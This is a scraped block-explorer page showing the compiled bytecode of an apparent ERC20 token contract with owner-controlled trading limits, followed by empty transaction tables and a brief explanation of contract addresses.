5b5f80604083850312156121a5576121a4611f8e565b5b5f6121b285828601611fd8565b92505060206121c385828601611fd8565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561224f5780860481111561222b5761222a6121cd565b5b600185161561223a5780820291505b8081029050612248856121fa565b945061220f565b94509492505050565b5f826122675760019050612322565b81612274575f9050612322565b816001811461228a5760028114612294576122c3565b6001915050612322565b60ff8411156122a6576122a56121cd565b5b8360020a9150848211156122bd576122bc6121cd565b5b50612322565b5060208310610133831016604e8410600b84101617156122f85782820a9050838111156122f3576122f26121cd565b5b612322565b6123058484846001612206565b9250905081840481111561231c5761231b6121cd565b5b81810290505b9392505050565b5f61233382611fec565b915061233e83612108565b925061236b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612258565b905092915050565b5f61237d82611fec565b915061238883611fec565b925082820261239681611fec565b915082820484148315176123ad576123ac6121cd565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6123e8602083611f08565b91506123f3826123b4565b602082019050919050565b5f6020820190508181035f830152612415816123dc565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612450601783611f08565b915061245b8261241c565b602082019050919050565b5f6020820190508181035f83015261247d81612444565b9050919050565b5f8151905061249281611fc2565b92915050565b5f602082840312156124ad576124ac611f8e565b5b5f6124ba84828501612484565b91505092915050565b5f6040820190506124d65f830185612167565b6124e36020830184612167565b9392505050565b5f819050919050565b5f819050919050565b5f61251661251161250c846124ea565b6124f3565b611fec565b9050919050565b612526816124fc565b82525050565b5f60c08201905061253f5f830189612167565b61254c6020830188612090565b612559604083018761251d565b612566606083018661251d565b6125736080830185612167565b61258060a0830184612090565b979650505050505050565b5f8151905061259981611ff5565b92915050565b5f805f606084860312156125b6576125b5611f8e565b5b5f6125c38682870161258b565b93505060206125d48682870161258b565b92505060406125e58682870161258b565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612649602483611f08565b9150612654826125ef565b604082019050919050565b5f6020820190508181035f8301526126768161263d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6126d7602283611f08565b91506126e28261267d565b604082019050919050565b5f6020820190508181035f830152612704816126cb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612765602583611f08565b91506127708261270b565b604082019050919050565b5f6020820190508181035f83015261279281612759565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6127f3602383611f08565b91506127fe82612799565b604082019050919050565b5f6020820190508181035f830152612820816127e7565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612881602983611f08565b915061288c82612827565b604082019050919050565b5f6020820190508181035f8301526128ae81612875565b9050919050565b7f54726164696e67206973206e6f7420656e61626c6564000000000000000000005f82015250565b5f6128e9601683611f08565b91506128f4826128b5565b602082019050919050565b5f6020820190508181035f830152612916816128dd565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612951601983611f08565b915061295c8261291d565b602082019050919050565b5f6020820190508181035f83015261297e81612945565b9050919050565b5f61298f82611fec565b915061299a83611fec565b92508282019050808211156129b2576129b16121cd565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f6129ec601a83611f08565b91506129f7826129b8565b602082019050919050565b5f6020820190508181035f830152612a19816129e0565b9050919050565b5f612a2a82611fec565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a5c57612a5b6121cd565b5b600182019050919050565b5f612a7182611fec565b9150612a7c83611fec565b9250828203905081811115612a9457612a936121cd565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612b2681611fb1565b82525050565b5f612b378383612b1d565b60208301905092915050565b5f602082019050919050565b5f612b5982612af4565b612b638185612afe565b9350612b6e83612b0e565b805f5b83811015612b9e578151612b858882612b2c565b9750612b9083612b43565b925050600181019050612b71565b5085935050505092915050565b5f60a082019050612bbe5f830188612090565b612bcb602083018761251d565b8181036040830152612bdd8186612b4f565b9050612bec6060830185612167565b612bf96080830184612090565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612c37601b83611f08565b9150612c4282612c03565b602082019050919050565b5f6020820190508181035f830152612c6481612c2b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612ca282611fec565b9150612cad83611fec565b925082612cbd57612cbc612c6b565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612d22602183611f08565b9150612d2d82612cc8565b604082019050919050565b5f6020820190508181035f830152612d4f81612d16565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204716e43fb1f55d8669bbbf14f6d32d7cf02000c2db824f4875f4f0e109ec0d6a64736f6c634300081a0033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.